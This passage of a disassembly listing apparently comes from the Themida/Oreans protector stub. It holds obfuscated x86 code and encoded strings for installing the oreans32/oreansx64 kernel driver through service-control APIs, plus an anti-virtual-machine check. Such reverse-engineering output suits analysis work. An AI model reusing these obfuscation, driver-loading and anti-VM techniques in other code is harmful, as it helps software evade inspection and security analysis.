sub [ebp-7Fh], edi
pop edi
fldpi
sub [ecx+esi*8+4Bh], dh
push es
mov cl, 7Ch
; =============== S U B R O U T I N E =======================================
sub_57ADFF proc near ; CODE XREF: Themida_:loc_57ADEBp
or [ebp+6102999h], edx
pop ebx
add ebx, 5DF8h
mov [ebp+6100589h], ebx
mov edx, 28428E95h
sub edx, 28427735h
loc_57AE1D: ; CODE XREF: sub_57ADFF+61j
push dword ptr [ebx]
mov si, 8AA7h
pop eax
add ch, 2Eh
add eax, 1AC8F1BBh
cmc
xor eax, 6FEA52Fh
mov ecx, 1515FF6Ah
add eax, 7C286305h
push ecx
mov edi, [ebp+610283Dh]
pop edi
push eax
xor edi, [ebp+61008B5h]
pop dword ptr [ebx]
mov [ebp+6100E49h], ecx
sub ebx, 4
or [ebp+6101471h], edi
dec edx
jnz loc_57AE1D
loc_57AE66: ; DATA XREF: Themida_:0054BDF0o
; Themida_:0054CAF8o
mov [ebp+6102AFDh], edx
jmp loc_57BF28
; ---------------------------------------------------------------------------
db 41h, 44h, 56h
dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh
dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h
dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h
dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h
dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h
dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h
dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
dd 6165726Fh, 3678736Eh, 79732E34h, 73h, 0
dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0)
dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
dd 6172676Fh, 2E6Dh, 59h dup(0)
dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0)
dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
dd 0
dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
dd 68742072h, 65207369h, 726F7272h, 0
dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
dd 656E6968h, 70h dup(0)
dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h
dd 8000F00h
db 4, 0
word_57BE82 dw 94h ; DATA XREF: Themida_:0054D2D8o
; Themida_:0054DCF0o
dd 50000h, 10000h, 0A280000h, 20000h, 21h dup(0)
dd 6F530000h, 61777466h, 575C6572h, 656E69h
; ---------------------------------------------------------------------------
loc_57BF28: ; CODE XREF: sub_57ADFF+6Dj
mov eax, esp
sbb ecx, 58841574h
mov [ebp+6100849h], eax
mov edi, [ebp+6100D8Dh]
mov eax, eax
call sub_57BF48
xor eax, 0FB609246h
sub_57ADFF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_57BF48 proc near ; CODE XREF: sub_57ADFF+113Fp
mov cx, dx
pop ecx
cmp dword ptr [ebp+610158Dh], 0
jnz short loc_57BF5E
cmp dword ptr [ebp+6100095h], 0
jz short loc_57BF77
loc_57BF5E: ; CODE XREF: sub_57BF48+Bj
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+6100E65h], eax
lea ebx, [ebp+612B815h]
call ebx
pop ebx
pop eax
loc_57BF77: ; CODE XREF: sub_57BF48+14j
cmp dword ptr [ebp+6100095h], 0
jz short loc_57BF97
push eax
push ebx
mov eax, 43Dh
mov [ebp+6100E65h], eax
lea ebx, [ebp+612B504h]
call ebx
pop ebx
pop eax
loc_57BF97: ; CODE XREF: sub_57BF48+36j
add [ebp+61005BDh], eax
push 0
push edx
call sub_57BFA8
and [edx-3Dh], bl
sub_57BF48 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_57BFA8 proc near ; CODE XREF: sub_57BF48+58p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_57BFA8 endp
; ---------------------------------------------------------------------------
dd 8B33C57Fh, 5E9C0h, 9F700000h, 8BB5D6D7h, 55006AC0h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 5E9923A2h, 2D958B60h, 5706101Eh, 335D8D8Bh, 615F0610h
dd 83FABF0Fh, 10158DBDh, 9750006h, 95BD83h, 74000610h
dd 8B535013h, 0B8C0h, 9D8D0000h, 612B6B7h, 585BD3FFh, 95BD83h
dd 74000610h, 0B8535011h, 0
dd 0B5689D8Dh, 0D3FF0612h, 0F60585Bh, 138Ah, 0EE900h, 4FB70000h
dd 4B546F15h, 798BFA5Bh, 0CBBECAE2h, 61FABF0Fh, 6840Fh
dd 0BD8B0000h, 6100585h, 6660C08Bh, 8166DA8Bh, 6189C6CAh
dd 0FC60C08Bh, 0D8ECBA66h, 0D68B6661h, 158DBD83h, 75000610h
dd 95BD8309h, 61000h, 53501374h, 0B8C08Bh, 8D000000h, 12B5E99Dh
dd 5BD3FF06h, 95BD8358h, 61000h, 53501174h, 0B8h, 369D8D00h
dd 0FF0612B5h, 89585BD3h, 100BF1BDh, 0C1B50106h, 8B061008h
dd 0E9C08BC8h, 9, 5EADFB32h, 0CCA0DC21h, 83C08B1Bh, 10158DBDh
dd 9750006h, 95BD83h, 74000610h, 8B535013h, 0B8C0h, 9D8D0000h
dd 612B650h, 585BD3FFh, 95BD83h, 74000610h, 0B8535011h
dd 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+612B54Fh]
call ebx
pop ebx
pop eax
push 0
push eax
call sub_57C125
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57C125 proc near ; CODE XREF: Themida_:0057C11Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_57C125 endp
; ---------------------------------------------------------------------------
dec ecx
sub ecx, [ebp+6100DE1h]
mov [ebp+61021B1h], ebx
mov [ebp+6102179h], ebx
mov eax, eax
pusha
mov [ebp+61008B1h], esi
mov [ebp+6102F05h], ecx
popa
mov eax, eax
push ebx
jmp loc_57C166
; ---------------------------------------------------------------------------
test eax, 4687E86Ah
pop esp
loc_57C166: ; CODE XREF: Themida_:0057C15Bj
pop edi
cmp dword ptr [ebp+610158Dh], 0
jnz short loc_57C179
cmp dword ptr [ebp+6100095h], 0
jz short loc_57C18C
loc_57C179: ; CODE XREF: Themida_:0057C16Ej
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+612B582h]
call ebx
pop ebx
pop eax
loc_57C18C: ; CODE XREF: Themida_:0057C177j
mov ecx, edi
push 0
push eax
call sub_57C199
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57C199 proc near ; CODE XREF: Themida_:0057C191p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_57C199 endp
; ---------------------------------------------------------------------------
db 63h, 0Dh, 38h
; ---------------------------------------------------------------------------
pop esp
push edi
add edi, 0B98B6E5h
pop edx
xor [ebp+6100985h], ebx
sub [ebp+610218Dh], ebx
mov eax, eax
jmp loc_57C1CF
; ---------------------------------------------------------------------------
mov esp, 73FA7384h
adc ch, dl
loc_57C1CF: ; CODE XREF: Themida_:0057C1C3j
mov eax, eax
add edx, 970B812h
cmp dword ptr [ebp+610158Dh], 0
jnz short loc_57C1E9
cmp dword ptr [ebp+6100095h], 0
jz short loc_57C202
loc_57C1E9: ; CODE XREF: Themida_:0057C1DEj
push eax
push ebx
mov eax, eax
mov eax, 7D0h
mov [ebp+6100E65h], eax
lea ebx, [ebp+612B815h]
call ebx
pop ebx
pop eax
loc_57C202: ; CODE XREF: Themida_:0057C1E7j
cmp dword ptr [ebp+6100095h], 0
jz short loc_57C222
push eax
push ebx
mov eax, 7D0h
mov [ebp+6100E65h], eax
lea ebx, [ebp+612B504h]
call ebx
pop ebx
pop eax
loc_57C222: ; CODE XREF: Themida_:0057C209j
push 0
push eax
call sub_57C22D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57C22D proc near ; CODE XREF: Themida_:0057C225p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_57C22D endp
; ---------------------------------------------------------------------------
and ecx, [ebp+11h]
mov edx, edi
mov [ebp+61006F5h], edx
mov eax, eax
or [ebp+610168Dh], ebx
jg loc_57C259
movzx edx, ax
loc_57C259: ; CODE XREF: Themida_:0057C250j
mov byte ptr [ebp+61023E5h], 53h
jmp loc_57C272
; ---------------------------------------------------------------------------
db 98h, 0A7h, 4Ah
dd 46A30B33h, 9F296F60h
db 16h, 77h
; ---------------------------------------------------------------------------
loc_57C272: ; CODE XREF: Themida_:0057C260j
push 99395F90h
pusha
pusha
mov esi, [ebp+6102DADh]
mov edx, esi
popa
jb loc_57C28E
add eax, [ebp+6100585h]
loc_57C28E: ; CODE XREF: Themida_:0057C282j
popa
push dword ptr [ebp+6101499h]
mov [ebp+61023C1h], esi
lea eax, [ebp+6103A32h]
or dh, 35h
call eax
or dx, 4DA8h
mov [ebp+6102DB9h], eax
mov byte ptr [ebp+61023E5h], 57h
push 0
push ecx
call sub_57C2C3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57C2C3 proc near ; CODE XREF: Themida_:0057C2BBp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_57C2C3 endp
; ---------------------------------------------------------------------------
and eax, 0A415E232h
clc
push 90045206h
jmp loc_57C2EE
; ---------------------------------------------------------------------------
db 0ACh
dd 28FF18A2h, 25016518h
db 87h, 3Dh
; ---------------------------------------------------------------------------
loc_57C2EE: ; CODE XREF: Themida_:0057C2DEj
push dword ptr [ebp+6101499h]
mov [ebp+6103075h], edx
lea eax, [ebp+6103A32h]
add [ebp+6100C79h], eax
call eax
push 0
push ecx
call sub_57C313
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57C313 proc near ; CODE XREF: Themida_:0057C30Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_57C313 endp
; ---------------------------------------------------------------------------
db 3Fh
dd 5C36B1E0h, 11E8h, 0DCA48300h, 0EF5BFE15h, 9585A06Bh
dd 89187CBEh, 0B9669F0Fh, 8959FF5Eh, 10061585h, 0E585C606h
dd 43061023h, 12CDBD29h, 28680610h, 0F9BC9070h, 1499B5FFh
dd 85310610h, 6100471h, 3A32858Dh, 6A0610h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 8CEFE6C3h
dd 0C9040411h, 0D0FF13ABh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 8BC35343h, 0C534E562h, 0FFD125Ah, 482h
dd 0F1B96600h, 68A0F20h, 89000000h, 101C298Dh, 0C9858906h
dd 6A06102Eh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 0E673C350h, 89FCA532h, 1023299Dh
dd 0E585C606h, 4C061023h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 0C7C35646h, 0A9B52360h, 81061009h, 7F54DEDBh
dd 68F96146h, 0D9DA1CE9h, 0DE8h, 0B7515600h, 662F2F7h
dd 5F99C23Ah, 0B70FC6E1h, 0B5FF5FFAh, 6101499h, 21A5B531h
dd 858D0610h, 6103A32h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 0B8C35545h, 0FFD78B66h, 56006AD0h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 4DB460Ch, 0C648F8B6h, 69958B3Eh, 8906100Ch, 1015DD85h
dd 0F1958906h, 0C6061007h, 1023E585h, 6A4606h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0ED0C7DC3h, 19159589h, 0B5890610h, 6102D51h, 0DE061468h
dd 0E58D8BBAh, 0FF061004h, 101499B5h, 52006A06h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0A5408164h, 4104BC42h, 858DCA7Fh, 6103A32h, 3780B966h
dd 5BEF8166h, 6AD0FF65h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0B297C357h, 663704BAh
dd 8589FE8Bh, 61018CDh, 2AE9BD8Bh, 85C60610h, 61023E5h
dd 0F88B6647h, 0FB5E268h, 0FBB70F8Ah, 1499B5FFh, 0BF660610h
dd 858DB646h, 6103A32h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 0A3C35040h, 76F71B15h, 7D653C72h, 0DB88F281h
dd 8D896A45h, 61016D1h, 8589D0FFh, 6100D85h, 1118D8Bh
dd 958B0610h, 6101E31h, 23E585C6h, 0F470610h, 0F368C9BFh
dd 6683D0B5h, 2D66C981h, 1499B5FFh, 6A0610h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 97CD96C3h
dd 1DBD8BCFh, 8906101Fh, 1011458Dh, 32858D06h, 0F506103Ah
dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 0DE525DC3h, 3D83130Eh, 2D5DB529h, 85890610h
dd 6100801h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 0CAC35040h, 0BF395B8h, 27B58D8Bh, 85C60610h, 61023E5h
dd 6840F77h, 8B000000h, 10163595h, 0A8A36806h, 8B0FF397h
dd 2, 0B5FFCB8Bh, 61020E5h, 8DF9BF0Fh, 103A3285h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 840FE257h, 1, 8BD0FFF8h, 100FE595h, 51858906h, 6A061002h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 9F53C357h, 77081090h, 2A058D8Bh, 85C60610h
dd 61023E5h, 0FAF66847h, 6A8728h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 2662D2C3h, 0A9302B36h
dd 894D599Bh, 10000D95h, 99B5FF06h, 23061014h, 1011A58Dh
dd 32858D06h, 8006103Ah, 0D0FF23E2h, 0F4B86660h, 0BF57BB65h
dd 89617087h, 10328185h, 85895106h, 6100E69h, 0E585C65Fh
dd 43061023h, 20558D29h, 0CD800610h, 6EFC6890h, 5751BC8Eh
dd 2215958Bh, 59590610h, 1499B5FFh, 8D8B0610h, 6101395h
dd 3A32858Dh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 4BC67FC3h, 0E408279Dh, 0BE99Ah
dd 1E100000h, 0C151AB7h, 0B3075985h, 81D0FF84h, 0D7CAE4F1h
dd 0F185890Fh, 66061015h, 85C6FA8Bh, 61023E5h, 12E945h
dd 1B4D0000h, 8D3F294Fh, 821A320Dh, 0DDB05D52h, 3E37F9A7h
dd 72696968h, 99958B8Eh, 0FF061031h, 101499B5h, 8D5EB106h
dd 103A3285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 66D0FF27h, 8589FE8Bh, 61009ADh, 137D8531h
dd 85C60610h, 61023E5h, 75BD3144h, 66061011h, 68E2DCBAh
dd 0B8F2EC64h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 21C35343h, 0E19C0929h, 0C06AF1E5h, 99B5FF06h, 6A061014h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0B6FBC351h, 5B4B4C5h, 0EA819100h, 33DA4B20h
dd 3A32858Dh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 11E907C3h, 31000000h, 0D33F409h
dd 0A9BCFD88h, 0A8F470AFh, 5B822D09h, 0A2DF8166h, 6AD0FFD2h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 0AFCC352h, 89D2BF0Fh, 100A7185h, 8D896006h
dd 6103349h, 54626CBAh, 85C6614Ch, 61023E5h, 45BD0143h
dd 68061023h, 0C0764AA7h, 99B5FFF8h, 0F5061014h, 3A32858Dh
dd 8B660610h, 29D0FFD7h, 100A6DBDh, 21858906h, 6A061016h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 1213C357h, 0BD80711Ch, 61305F4h, 0B1840F00h
dd 29000000h, 10082995h, 0D6858D06h, 89061305h, 101E319Dh
dd 0B5095006h, 6102F7Dh, 6A016Ah, 3341958Bh, 8B500610h
dd 1014E595h, 6A5A06h, 0FFFA8B66h, 102EC995h, 659D8906h
dd 89061005h, 10308D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 0E927E473h, 0F07B549h
dd 0FF6ACBB7h, 1ECD8501h, 0B5FF0610h, 610308Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 7BC35646h, 0F9BCAD81h
dd 3A336AEh, 1FA58D89h, 95FF0610h, 6100615h, 586EF781h
dd 95894EAEh, 6100541h, 0C181C08Bh, 27D17FBDh, 158DBD83h
dd 75000610h, 95BD8309h, 61000h, 53501974h, 0D1B8C08Bh
dd 89000007h, 100E6585h, 159D8D06h, 0FF0612B8h, 83585BD3h
dd 100095BDh, 17740006h, 0D1B85350h, 89000007h, 100E6585h
dd 49D8D06h, 0FF0612B5h, 81585BD3h, 18C4A3D7h, 8B53B50Bh
dd 6AC08BD7h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 2EC8C350h, 0B70F1C20h, 0E585C6C8h
dd 47061023h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 0AEC35242h, 0F0ADBFCh, 68Ah, 0DD9D8900h, 31061004h
dd 1000F9B5h, 0F7C16806h, 11E893C8h, 6000000h, 9A99E8Ch
dd 0E6A0B61Ch, 75461E11h, 38396885h, 2A6DBD8Bh, 0FF590610h
dd 101499B5h, 0D19D8906h, 8D061006h, 103A3285h, 0F1BD8906h
dd 0FF06100Dh, 0CFB70FD0h, 51006A50h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h
dd 0D15D0D26h, 0A17858Dh, 85310613h, 6101E6Dh, 9400C7h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 2F3E87C3h, 1709120Eh, 8D8B0C5Ah, 610208Dh
dd 11E18D29h, 8B580610h, 102171BDh, 17B58D06h, 0F06130Ah
dd 687h, 0C9858900h, 56061030h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 57C35343h, 4841D7B0h, 0E9A324E9h
dd 13h, 0DECD67B9h, 362EE697h, 3B114D23h, 146424CCh, 0FF84D877h
dd 0D1958BD0h, 8B06100Eh, 10149D95h, 17858D06h, 8906130Ah
dd 1009F98Dh, 4788306h, 15850F06h, 8B000000h, 102A19BDh
dd 0AB85C706h, 106130Ah, 0BA000000h, 2799B242h, 32BDBD83h
dd 0F000610h, 4585h, 0D98D8900h, 83061009h, 130AABBDh
dd 850F0006h, 32h, 1CD59D89h, 0BD830610h, 610116Dh, 1F840F00h
dd 80000000h, 860F71E6h, 6, 0BB1952Bh, 85C70610h, 610306Dh
dd 0
; ---------------------------------------------------------------------------
adc ecx, 1D16500Ch
mov bx, ds
push 0
push ebx
call sub_57CC58
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57CC58 proc near ; CODE XREF: Themida_:0057CC50p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_57CC58 endp
; ---------------------------------------------------------------------------
dd 51C6BA64h, 38B428BFh, 0F6F55957h, 840F04C3h, 5F9h, 65ABA66h
dd 220985C7h, 610h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 0B2E6F3C3h, 16280DD3h
dd 0BF0F723Ah, 1BD80D7h, 61306h, 1850Fh, 0C6F80000h, 1023E585h
dd 95894706h, 61005D1h, 0E45B8668h, 8BF78AE3h, 1029B5BDh
dd 99B5FF06h, 89061014h, 10313DBDh, 0D1958B06h, 8D06101Eh
dd 103A3285h, 0E5BA6606h, 6AD0FF5Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8701C352h
dd 0CA9BD8Bh, 8D8B0610h, 61009DDh, 10468h, 0BF0F5300h
dd 9D8D5ACBh, 6103385h, 2359950Bh, 85890610h, 61021C5h
dd 0CFB70F53h, 858DD0FFh, 6103385h, 21CDB589h, 50F90610h
dd 6830Fh, 8D8B0000h, 6101915h, 5B3858Dh, 13E90613h, 77000000h
dd 7399AED2h, 0C808EBF9h, 0BEF60D09h, 4AB7C5Fh, 0F50E406h
dd 858DCFB7h, 612FC86h, 0E10EE281h, 6A502D89h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 5159C356h, 25195FFh, 83F80610h, 8D8B0CC4h, 6101B79h
dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 612FC86h
dd 0F195FF50h, 89061015h, 13059685h, 0E585C606h, 47061023h
dd 0B15E8768h, 99B5FFC7h, 8D061014h, 103A3285h, 6AD0FF06h
dd 96B5FF00h, 0FF061305h, 57006AD0h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8B3B545Fh
dd 8B6660FEh, 61B589CBh, 61061029h, 37D03Dh, 53830F00h
dd 0E9000000h, 0Eh, 8326690Ch, 98DFDC66h, 7C1F66C4h, 0B5FFADEBh
dd 6130596h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0DEC35545h, 19D890Dh, 0FF061001h, 10162195h, 89958B06h
dd 0E906102Eh, 153h, 295D958Bh, 0B5FF0610h, 6130596h, 12E9h
dd 48B4B900h, 0E3DBC3E2h, 70A39D2Fh, 62D9B458h, 0FFCA335Bh
dd 10162195h, 0D38B6606h, 6A006Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 0CD950AC3h, 68D0F94h
dd 60000000h, 61605A57h, 60006A61h, 0E38A57B2h, 0F006A61h
dd 0C8Eh, 68D0F00h, 33000000h, 10006195h, 0FC006A06h, 6A006Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 135F7BC3h, 55A28302h, 81663B8Dh, 6ACC74D9h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0D4E4C2C7h, 6BB16FB8h, 0EE89F72h, 7000000h, 16F884B3h
dd 4676F38Ah, 0A8C2231Dh, 19858937h, 5F06100Bh, 59A858Dh
dd 50F90613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0BAC35040h, 0E9B99998h, 0FF44E0B2h, 1015F195h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 9537D659h, 254A6968h, 0C9816692h, 0F8838F44h
dd 7C850FFFh, 0F000001h, 68Eh, 499D2900h, 8D06102Eh, 12C0A585h
dd 0AE906h, 995E0000h, 75D54383h, 0BA0C54D2h, 6AD0FFh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h
dword_57D000 dd 190424h, 56460000h, 48B4B9C3h, 6ADBC3E2h, 59B58900h
; DATA XREF: Themida_:0054C91Co
dd 6A06100Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 0D32AC3E3h, 5D8C5BE5h, 6890F51h
dd 0F000000h, 8Ch, 6A5900h, 1C758589h, 6A0610h, 4B2FBF66h
dd 8D8B006Ah, 6102E69h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 0FD354C3h, 584h, 0E9816600h
dd 858DCB0Fh, 613059Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 58C35242h, 800FA536h, 0
; ---------------------------------------------------------------------------
sbb cl, 1Fh
push eax
pusha
mov [ebp+6101CC9h], ebx
popa
call dword ptr [ebp+61015F1h]
push 0
push ecx
call sub_57D0D1
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D0D1 proc near ; CODE XREF: Themida_:0057D0C9p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_57D0D1 endp
; ---------------------------------------------------------------------------
sbb [eax], esi
mov [ebp+6102FBDh], edx
cmp eax, 0FFFFFFFFh
jnz loc_57D147
clc
lea esi, [ebp+612FFA2h]
movsx edi, di
lea eax, [ebp+612AB5Eh]
push 0
push edx
call sub_57D10D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D10D proc near ; CODE XREF: Themida_:0057D105p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_57D10D endp
; ---------------------------------------------------------------------------
align 2
test bl, 0B2h
mov byte ptr [eax+70h], 0BAh
mov dword ptr [ecx], 0B5893893h
xor ds:0D0FF0610h, eax
mov dx, di
push 0
mov ecx, 3DADD6C3h
